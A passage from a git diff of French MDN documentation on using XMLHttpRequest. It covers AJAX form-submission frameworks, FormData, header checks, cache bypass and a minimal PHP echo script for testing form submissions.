+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      Your name: <input type="text" name="user" />
+    </p>
+    <p>
+      Your message:<br />
+      <textarea name="message" cols="40" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+</body>
+</html>
+
+ +

Pour le tester, créez une page nommée register.php (qui est l'attribut action des formulaires d'exemple) et mettez y ce contenu minimaliste:

+ +
<?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+
+ +

La syntaxe de ce script est la suivante:

+ +
AJAXSubmit(myForm);
+ +
Note: Ce framework utilise l'API FileReader pour transmettre les fichiers uploadés. C'est une API récente qui n'est pas implémentée dans IE9 ou inférieur. Pour cette raison, l'upload via AJAX uniquement est une technique expérimentale. Si vous n'avez pas besoin de transférer des fichiers binaires, ce framework fonctionne bien dans la majorité des navigateurs.
+ +
Note: La meilleure façon d'envoyer du contenu binaire est de passer par ArrayBuffers ou Blobs en conjonction avec la méthode send() et possiblement avec la méthode readAsArrayBuffer() de l'API FileReader. Mais dans la mesure où le but de ce script est de fonctionner avec des données chaînifiable, nous avons utilisé la méthode sendAsBinary() en conjonction avec la méthode readAsBinaryString() de l'API FileReader. Du coup, le script ci-dessous n'a de sens que quand vous voulez transférer de petits fichiers. Si vous n'avez pas l'intention de transférer des données binaires, songez plutôt à utilisez l'API FormData.
+ +
Note: La méthode non-strandard sendAsBinary est dépréciée à partir de Gecko 31 {{ geckoRelease(31) }} et sera prochainement supprimée. La méthode standard send(Blob data) peut être utilisée à la place.
+ +

Utiliser les objets FormData

+ +

Le constructeur de FormData vous permet de compiler des paires de clé/valeur à envoyer via XMLHttpRequest. Il est principalement prévu pour être utilisé dans l'envoi de formulaires, mais il peut être utilisé indépendemment des formulaires dans le but de transmettre des données associées. Les données transmises sont de même format que la méthode submit() d'un formulaire utiliserait pour envoyer les données si l'encodage du formulaire était configuré à "multipart/form-data". Les objets FormData peuvent être utilisés de nombreuses manières avec XMLHttpRequest. Pour des exemples et des explications sur la manière d'utiliser FormData avec une XMLHttpRequest, jettez un oeil sur la page Utiliser les Objets FormData. Pour des raisons didactiques seulement, nous postons ici une traduction du précédent exemple transformé pour utiliser l'API FormData. Notez la brièveté du code :

+ +
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Sending forms with FormData &ndash; MDN</title>
+<script type="text/javascript">
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile < oField.files.length; sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), true);
+    oReq.send(null);
+  }
+}
+</script>
+</head>
+<body>
+
+<h1>Sending forms with FormData</h1>
+
+<h2>Using the GET method</h2>
+
+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<p>The text/plain encoding is not supported by the FormData API.</p>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+</body>
+</html>
+
+ +
Note: Comme déjà dit, les objets {{domxref("FormData")}} ne sont pas des objets chainifiables. Si vous voulez chainifier les données soumises, utilisez l'exemple précédent en pure-AJAX. Notez également que, bien que dans cet exemple il y a quelques champs file {{ HTMLElement("input") }}, quand vous soumettez un formulaire via l'API FormData vous n'avez pas besoin d'utiliser l'API FileReader également : les fichiers sont automatiquement chargés et transférés.
+ +

Récupérer la date de modification

+ +
function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified"));  /* Une chaine valide GMTString ou null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* utilisez HEAD seulement si vous ne voulez que les headers ! */, "mapage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();
+ +

Faire quelque chose quand la date de dernière modification change

+ +

Créons deux fonctions:

+ +
function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* utilisons HEAD - nous ne voulons que les Headers ! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}
+ +

Test:

+ +
/* Testons le fichier "mapage.html"... */
+
+ifHasChanged("mapage.html", function (nModif, nVisit) {
+  alert("La page '" + this.filepath + "' a été changée le " + (new Date(nModif)).toLocaleString() + "!");
+});
+ +

Si vous voulez savoir si la page courante a changée, lisez l'article à propos de la propriété document.lastModified.

+ +

Cross-site XMLHttpRequest

+ +

Les navigateurs récents supportent les requêtes cross-site en implémentant le Standard Access Control for Cross-Site Requests (Web Application Working Group).  Tant que le serveur est configuré pour autoriser les requêtes depuis l'origine de votre web application, XMLHttpRequest fonctionnera. Sinon, une exception INVALID_ACCESS_ERR sera lancée.

+ +

Contourner le cache

+ +

Une approche cross-browser pour contourner le cache est d'ajouter le timestamp à l'URL, en étant sûr d'inclure un "?" ou un "&" selon les cas. Par exemple :

+ +
http://foo.com/bar.html -> http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345
+
+ +

Comme le cache local est indexé selon les URL, celà permet à toutes les requêtes d'être uniques, et du coup de contourner le cache.

+ +

Vous pouvez automatiquement ajuster les URL en utilisant le code suivant :

+ +
var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime(), true);
+oReq.send(null);
+ +

Sécurité

+ +

{{fx_minversion_note(3, "Les versions de Firefox avant Firefox 3 autorisaient à mettre les préférences capability.policy.<policyname>.XMLHttpRequest.open</policyname> à allAccess pour donner l'accès cross-sites à des sites spécifiques. Cela n'est plus possible.")}}

+ +

{{fx_minversion_note(5, "Les versions de Firefox avant Firefox 5 pouvaient utiliser netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\"); pour demander un accès cross-site. Ce n'est plus supporté, me^me si cela ne produit aucun avertissement et que la demande de permission est toujours présente.")}}

+ +

La manière recommandée d'activer les requêtes cross-sites est d'utiliser le header HTTP Access-Control-Allow-Origin dans la réponse du XMLHttpRequest.

+ +

XMLHttpRequests stoppées

+ +

Si vous vous retrouvez avec une XMLHttpRequest ayant status=0 et statusText=null, cela signifie que la requête n'a pas été autorisée à être effectuée. Elle a été UNSENT. Une cause probable est lorsque l'origine XMLHttpRequest  (lors de la création de l'objet XMLHttpRequest) a changé quand l'objet XMLHttpRequest est déjà open(). Ce cas peut se produire par exemple lorsque l'on a une XMLHttpRequest qui est lancée sur un évènement onunload d'une fenêtre: l'objet XMLHttpRequest est en fait créé lorsque la fenêtre sur le point de se fermer est toujours là, et la demande est envoyée (c'est à dire open()) lorsque cette fenêtre a perdu son focus et une autre fenêtre a potentiellement pris le focus. La manière d'éviter ce problème est de fixer un écouteur sur l'évènement "activate" de la nouvelle fenêtre qui se lance quand l'ancienne fenêtre a son événement "unload" lancé.

+ +

Utiliser XMLHttpRequest depuis un module JavaScript / un composant XPCOM

+ +

Instancier une XMLHttpRequest depuis un module JavaScript ou un composant XPCOM fonctionne un peu différemment; on ne peut pas l'instancier via le constructeur XMLHttpRequest(). Le constructeur n'est pas défini dans le composant et le code retourne une erreur. Le meilleur moyen de fixer le problème est d'utiliser le constructeur du composant XPCOM.

+ +
const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+
+ +

Malheureusement dans les versions de Gecko avant Gecko 16 il y a un bug : les requêtes créées ainsi peuvent être annulées sans raison. Si votre code doit marcher sur Gecko 15 ou moins, vous pouvez utiliser le constructeur XMLHttpRequest depuis le DOM caché de la fenêtre comme ceci :

+ +
const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();
+ +

Voir aussi

+ +
    +
  1. MDN AJAX introduction
    2. +
  2. HTTP access control
    3. +
  3. How to check the security state of an XMLHTTPRequest over SSL
    4. +
  4. XMLHttpRequest - REST and the Rich User Experience
    5. +
  5. Microsoft documentation
    6. +
  6. Apple developers' reference
    7. +
  7. "Using the XMLHttpRequest Object" (jibbering.com)
    8. +
  8. The XMLHttpRequest Object: W3C Specification
    9. +
  9. Web Progress Events specification
    10. +
  10. XMLHttpRequest (Référence Web API)
    11. +
diff --git a/files/fr/web/api/xmlhttprequest/utiliser_xmlhttprequest/index.html b/files/fr/web/api/xmlhttprequest/utiliser_xmlhttprequest/index.html deleted file mode 100644 index fc3bb319ee..0000000000 --- a/files/fr/web/api/xmlhttprequest/utiliser_xmlhttprequest/index.html +++ /dev/null @@ -1,755 +0,0 @@ ---- -title: Utiliser XMLHttpRequest -slug: Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest -tags: - - AJAX - - File API - - FormData - - JXON - - Progression - - Téléchargement - - XML - - XMLHttpRequest - - upload -translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest ---- -

 

- -

XMLHttpRequest permet d'envoyer des requêtes HTTP de manière très simple.  Il suffit de créer une instance de l'objet, d'ouvrir une URL, et d'envoyer la requête.  Le status HTTP du résultat, tout comme le contenu de la réponse, sont disponibles dans l'objet de la requête quand la transaction est terminée. Cette page présente quelques-uns des cas d'utilisation communs et même un peu obscurs pour cet objet JavaScript puissant.

- -
function reqListener () {
-  console.log(this.responseText);
-}
-
-var oReq = new XMLHttpRequest();
-oReq.onload = reqListener;
-oReq.open("get", "yourFile.txt", true);
-oReq.send();
- -

Types de requêtes

- -

Une demande faite via XMLHttpRequest peut récupérer les données dans l'une des deux façons, de manière asynchrone ou synchrone. Le type de demande est dictée par l'argument optionnel async (le troisième argument) qui est mis sur la méthode open() XMLHttpRequest (). Si cet argument est true ou non spécifié, l'objet XMLHttpRequest est traitée de manière asynchrone, sinon le processus est effectué de façon synchrone. Une discussion détaillée et des démonstrations de ces deux types de demandes peuvent être trouvés sur la page des requêtes synchrones et asynchrones. En général, vous devriez rarement, voire jamais, utiliser requêtes synchrones.

- -
Note: A partir de Gecko 30.0 {{ geckoRelease("30.0") }}, les requêtes synchrones sur le processus principal ont été dépréciées en raison de l'effet négatif sur l'expérience utilisateur.
- -

Gérer les réponses

- -

Il existe plusieurs types d'attributs de réponse définies par la spécification W3C pour XMLHttpRequest. Ceci indique que le client faisant l'objet XMLHttpRequest des informations importantes sur l'état ​​de la réponse. Certains cas où, traitant de types de réponse non-texte peuvent impliquer une certaine manipulation et l'analyse comme indiqué dans les sections suivantes.

- -

Analyser et manipuler la propriété responseXML

- -

Si vous utlisez XMLHttpRequest pour obtenir le contenu d'un fichier XML distant, la propriété responseXML sera un Objet DOM contenant le document XML parsé, qui peut être difficile à manipuler et analyser. Il y a quatres moyens principaux d'analyser ce document XML :

- -
    -
  1. Utiliser XPath pour localiser des parties.
    2. -
  2. Utiliser JXON pour le convertir en Objet structuré JavaScript.
    3. -
  3. Manuellement parser et serializer le XML en chaînes de caractères ou en objets.
    4. -
  4. Utiliser XMLSerializer pour serializer le DOM en chaînes ou en fichiers.
    5. -
  5. RegExp peut être utlisé si vous connaissez à l'avance le contenu du document XML. Vous pouvez supprimer les sauts de ligne, si vous utlisez RegExp en prenant en compte ces sauts. Toutefois, cette méthode est un "dernier recours", car si le code XML change légèrement, la méthode échouera probablement.
    6. -
- -

Analyser et manipuler une propriété responseText contenant un document HTML

- -
Note: La spécification W3C XMLHttpRequest  autorise le HTML a être parsé via la propritété XMLHttpRequest.responseXML. Lisez l'article à propos du HTML dans XMLHttpRequest pour plus de détails.
- -

Si vous utilisez XMLHttpRequest pour récupérer le contenu d'une page HTML distante, la propriété responseText est une chaîne de caractères contenant une "soupe" de tous les tags HTML, qui peut être difficile à manipuler et à analyser. Il y a trois moyens principaux d'analyser cette soupe de HTML :

- -
    -
  1. Utiliser la propriété XMLHttpRequest.responseXML.
    2. -
  2. Injecter le contenu dans le body d'un fragment de document via fragment.body.innerHTML et traverser le DOM du fragment.
    3. -
  3. RegExp peut être utlisé si vous connaissez à l'avance le contenu du document HTML dans responseText. Vous pouvez supprimer les sauts de ligne, si vous utlisez RegExp en prenant en compte ces sauts. Toutefois, cette méthode est un "dernier recours", car si le code XML change légèrement, la méthode échouera probablement.
    4. -
- -

Gérer les données binaires

- -

Bien que XMLHttpRequest est le plus souvent utilisé pour envoyer et recevoir des données textuelles, on peut l'utiliser pour envoyer et recevoir du contenu binaire.Il existe plusieurs méthodes éprouvées pour contraindre la réponse d'un XMLHttpRequest en l'envoi de données binaires. Celles-ci impliquent d'utiliser la méthode .overrideMimeType() sur l'objet XMLHttpRequest, ce qui est une solution viable.

- -
var oReq = new XMLHttpRequest();
-oReq.open("GET", url, true);
-// récupérer les données non traitées comme une chaîne binaire
-oReq.overrideMimeType("text/plain; charset=x-user-defined");
-/* ... */
-
- -

La Spécification XMLHttpRequest Niveau 2 ajoute de nouveaux attributs responseType qui permettent d'envoyer et de recevoir des données binaires plus facilement.

- -
var oReq = new XMLHttpRequest();
-
-oReq.open("GET", url, true);
-oReq.responseType = "arraybuffer";
-oReq.onload = function(e) {
-  var arraybuffer = oReq.response; // n'est pas responseText
-  /* ... */
-}
-oReq.send();
-
- -

Pour plus d'exemples, jettez un oeil à la page Envoyer et recevoir des données binaires

- -

Surveiller la progression

- -

XMLHttpRequest fournit la possibilité d'écouter différents évènements qui peuvent se produire pendant que la requête est traitée. Cela inclu des notifications de progression périodiques, des notifications d'erreur, ainsi de suite.

- -

Le support des évènements de progression DOM de XMLHttpRequest suit l'API web de spécifications des évènements de progression: ils implémentent l'interface {{domxref("ProgressEvent")}}.

- -
var oReq = new XMLHttpRequest();
-
-oReq.addEventListener("progress", updateProgress, false);
-oReq.addEventListener("load", transferComplete, false);
-oReq.addEventListener("error", transferFailed, false);
-oReq.addEventListener("abort", transferCanceled, false);
-
-oReq.open();
-
-// ...
-
-// progression des transferts depuis le serveur jusqu'au client (téléchargement)
-function updateProgress (oEvent) {
-  if (oEvent.lengthComputable) {
-    var percentComplete = oEvent.loaded / oEvent.total;
-    // ...
-  } else {
-    // Impossible de calculer la progression puisque la taille totale est inconnue
-  }
-}
-
-function transferComplete(evt) {
-  alert("Le transfert est terminé.");
-}
-
-function transferFailed(evt) {
-  alert("Une erreur est survenue pendant le transfert du fichier.");
-}
-
-function transferCanceled(evt) {
-  alert("Le transfert a été annulé par l'utilisateur.");
-}
- -

Les lignes 3-6 ajoutent des écouteurs pour les différents évènements lancés pendant la transfert de données d'une XMLHttpRequest.

- -
Note: Vous devez ajouter les écouteurs avant d'appeler open() sur la requête. Sinon, les évènements de progression ne seront pas lancés.
- -

Le gestionnaire de progression, spécifié par la fonction updateProgress() dans cet exemple, reçoit le nombre total de bytes à transférer ainsi que le nombre de bytes déjà transférés dans les champs total et loaded.  Cependant, si le champ lengthComputable est false, la taille totale est inconnue et sera zéro.

- -

Les évènements de progression sont disponibles pour l'envoi et la réception de données. Les évènements de téléchargement sont lancés sur l'objet XMLHttpRequest lui-même, comme montré dans l'exemple ci-dessus. Les évènements d'envoi (upload) sont lancés sur l'objet XMLHttpRequest.upload, comme montré ci-dessous:

- -
var oReq = new XMLHttpRequest();
-
-oReq.upload.addEventListener("progress", updateProgress, false);
-oReq.upload.addEventListener("load", transferComplete, false);
-oReq.upload.addEventListener("error", transferFailed, false);
-oReq.upload.addEventListener("abort", transferCanceled, false);
-
-oReq.open();
-
- -
Note: Les évènements de progression ne sont pas disponibles sur le protocole file:.
- -
Note: Actuellement, il y a encore des bugs ouverts pour les évènements de progression qui affectent la version 25 de Firefox sur OS X et Linux.
- -
-

Note: A partir de {{Gecko("9.0")}}, les évènements de progression peuvent désormais être assurément présents pour chaque morceau de données reçu, y compris le dernier morceau dans les cas où le dernier paquet est reçu et la connexion fermée avant que l'évènement ne soit lancé. Dans ce cas, l'évènement de progression est automatiquement lancé quand l'évènement load se produit pour ce paquet. Cela vous permet de surveiller fiablement la progression grâce à son évènement.

-
- -
-

Note: Dans {{Gecko("12.0")}}, si votre évènement de progression est appelé avec un responseType "moz-blob", la valeur de la réponse est un {{domxref("Blob")}} contenant les données reçues jusqu'à présent.

-
- -

Une fonction peut aussi être appelée peu importe le status de fin de la requête (abort, load, ou error) en utilisant l'évènement loadend :

- -
req.addEventListener("loadend", loadEnd, false);
-
-function loadEnd(e) {
-  alert("Le transfert est terminé (même si l'on ne sait pas si ça a fonctionné ou pas).");
-}
-
- -

Notez qu'il n'y a pas moyen d'être certain des informations reçues dans l'évènement  loadend event comme la condition qui a causé la fin de l'opération; toutefois, vous pouvez utiliser cet évènement pour gérer les tâches qui doivent être exécutées dans tous les cas une fois un transfert terminé.

- -

Envoyer des formulaires et uploader des fichiers

- -

Les instances de XMLHttpRequest peuvent être utilisées pour envoyer des formulaires de deux façons :

- -
    -
  • n'utiliser rien de plus qu'AJAX
    • -
  • utiliser l'API FormData
    • -
- -

La seconde solution (utiliser l'API FormData) est la plus simple et la plus rapide, mais a le désavantage que les données collectées ne peuvent pas être chainifiées.
- La première solution est plutôt la plus complexe, mais se prête à être plus flexible et puissante.

- -

Rien de plus que XMLHttpRequest

- -

Envoyer des formulaires sans l'API FormData ne demande rien de plus, si ce n'est l'API FileReader, mais seulement si vous voulez envoyer un fichier ou plus.

- -

Une brève introduction au méthodes de submission

- -

Un élément HTML {{ HTMLElement("form") }} peut être envoyé de quatre manières :

- -
    -
  • en utilisant la méthode POST et en configurant son attribut enctype sur application/x-www-form-urlencoded (par défaut);
    • -
  • en utilisant la méthode POST et en configurant son attribut enctype sur text/plain;
    • -
  • en utilisant la méthode POST et en configurant son attribut enctype sur multipart/form-data;
    • -
  • en utilisant la méthode GET (dans ce cas, l'attribut enctype sera ignoré).
    • -
- -

Maintenant, considérons qu'on envoie un formulaire contenant seulement deux champs, nommées foo et baz. Si vous utilisez la méthode POST, le serveur va recevoir une chaîne similaire à l'un des trois suivantes, en fonction de l'encodage que vous utilisez :

- -
    -
  • -

    Méthode: POST; Encodage: application/x-www-form-urlencoded (par défaut):

    - - 
    Content-Type: application/x-www-form-urlencoded
-
-foo=bar&baz=The+first+line.&#37;0D%0AThe+second+line.%0D%0A
    -
    • -
  • -

    Méthode: POST; Encodage: text/plain:

    - - 
    Content-Type: text/plain
-
-foo=bar
-baz=The first line.
-The second line.
    -
    • -
  • -

    Méthode: POST; Encodage: multipart/form-data:

    - - 
    Content-Type: multipart/form-data; boundary=---------------------------314911788813839
-
------------------------------314911788813839
-Content-Disposition: form-data; name="foo"
-
-bar
------------------------------314911788813839
-Content-Disposition: form-data; name="baz"
-
-The first line.
-The second line.
-
------------------------------314911788813839--
    -
    • -
- -

Si vous utilisez la méthode GET à la place, une chaîne comme celle-ci sera simplement ajoutée à l'URL :

- -
?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.
- -

Un petit framework vanilla

- -

Tout celà est fait automatiquement par le serveur quand vous envoyez un {{ HTMLElement("form") }}. Mais si vous voulez faire la même chose en utilisant JavaScript vous devez tout dire à l'interprète. Pour celà, la manière d'envoyer des formulaires en pure AJAX est trop compliquée pour être expliquée ici. Pour cette raison, nous avons posté un framework complet (mais tout de  même didactique), qui est capable d'utiliser les quatres méthodes de submit , et aussi de transférer des fichiers:

- -
-
<!doctype html>
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-<title>Sending forms with pure AJAX &ndash; MDN</title>
-<script type="text/javascript">
-
-"use strict";
-
-/*\
-|*|
-|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
-\*/
-
-if (!XMLHttpRequest.prototype.sendAsBinary) {
-  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
-    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
-    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
-      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
-    }
-    /* send as ArrayBufferView...: */
-    this.send(ui8Data);
-    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
-  };
-}
-
-/*\
-|*|
-|*|  :: AJAX Form Submit Framework ::
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
-|*|
-|*|  This framework is released under the GNU Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
-|*|
-|*|  Syntax:
-|*|
-|*|   AJAXSubmit(HTMLFormElement);
-\*/
-
-var AJAXSubmit = (function () {
-
-  function ajaxSuccess () {
-    /* console.log("AJAXSubmit - Success!"); */
-    alert(this.responseText);
-    /* you can get the serialized data through the "submittedData" custom property: */
-    /* alert(JSON.stringify(this.submittedData)); */
-  }
-
-  function submitData (oData) {
-    /* the AJAX request... */
-    var oAjaxReq = new XMLHttpRequest();
-    oAjaxReq.submittedData = oData;
-    oAjaxReq.onload = ajaxSuccess;
-    if (oData.technique === 0) {
-      /* method is GET */
-      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length > 0 ? "?" + oData.segments.join("&") : ""), true);
-      oAjaxReq.send(null);
-    } else {
-      /* method is POST */
-      oAjaxReq.open("post", oData.receiver, true);
-      if (oData.technique === 3) {
-        /* enctype is multipart/form-data */
-        var sBoundary = "---------------------------" + Date.now().toString(16);
-        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
-        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
-      } else {
-        /* enctype is application/x-www-form-urlencoded or text/plain */
-        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
-        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&"));
-      }
-    }
-  }
-
-  function processStatus (oData) {
-    if (oData.status > 0) { return; }
-    /* the form is now totally serialized! do something before sending it to the server... */
-    /* doSomething(oData); */
-    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
-    submitData (oData);
-  }
-
-  function pushSegment (oFREvt) {
-    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
-    this.owner.status--;
-    processStatus(this.owner);
-  }
-
-  function plainEscape (sText) {
-    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
-    /* "4\3\7 - Einstein said E=mc2" ----> "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
-    return sText.replace(/[\s\=\\]/g, "\\$&");
-  }
-
-  function SubmitRequest (oTarget) {
-    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
-    /* console.log("AJAXSubmit - Serializing form..."); */
-    this.contentType = bIsPost && oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
-    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
-    this.receiver = oTarget.action;
-    this.status = 0;
-    this.segments = [];
-    var fFilter = this.technique === 2 ? plainEscape : escape;
-    for (var nItem = 0; nItem < oTarget.elements.length; nItem++) {
-      oField = oTarget.elements[nItem];
-      if (!oField.hasAttribute("name")) { continue; }
-      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
-      if (sFieldType === "FILE" && oField.files.length > 0) {
-        if (this.technique === 3) {
-          /* enctype is multipart/form-data */
-          for (nFile = 0; nFile < oField.files.length; nFile++) {
-            oFile = oField.files[nFile];
-            oSegmReq = new FileReader();
-            /* (custom properties:) */
-            oSegmReq.segmentIdx = this.segments.length;
-            oSegmReq.owner = this;
-            /* (end of custom properties) */
-            oSegmReq.onload = pushSegment;
-            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
-            this.status++;
-            oSegmReq.readAsBinaryString(oFile);
-          }
-        } else {
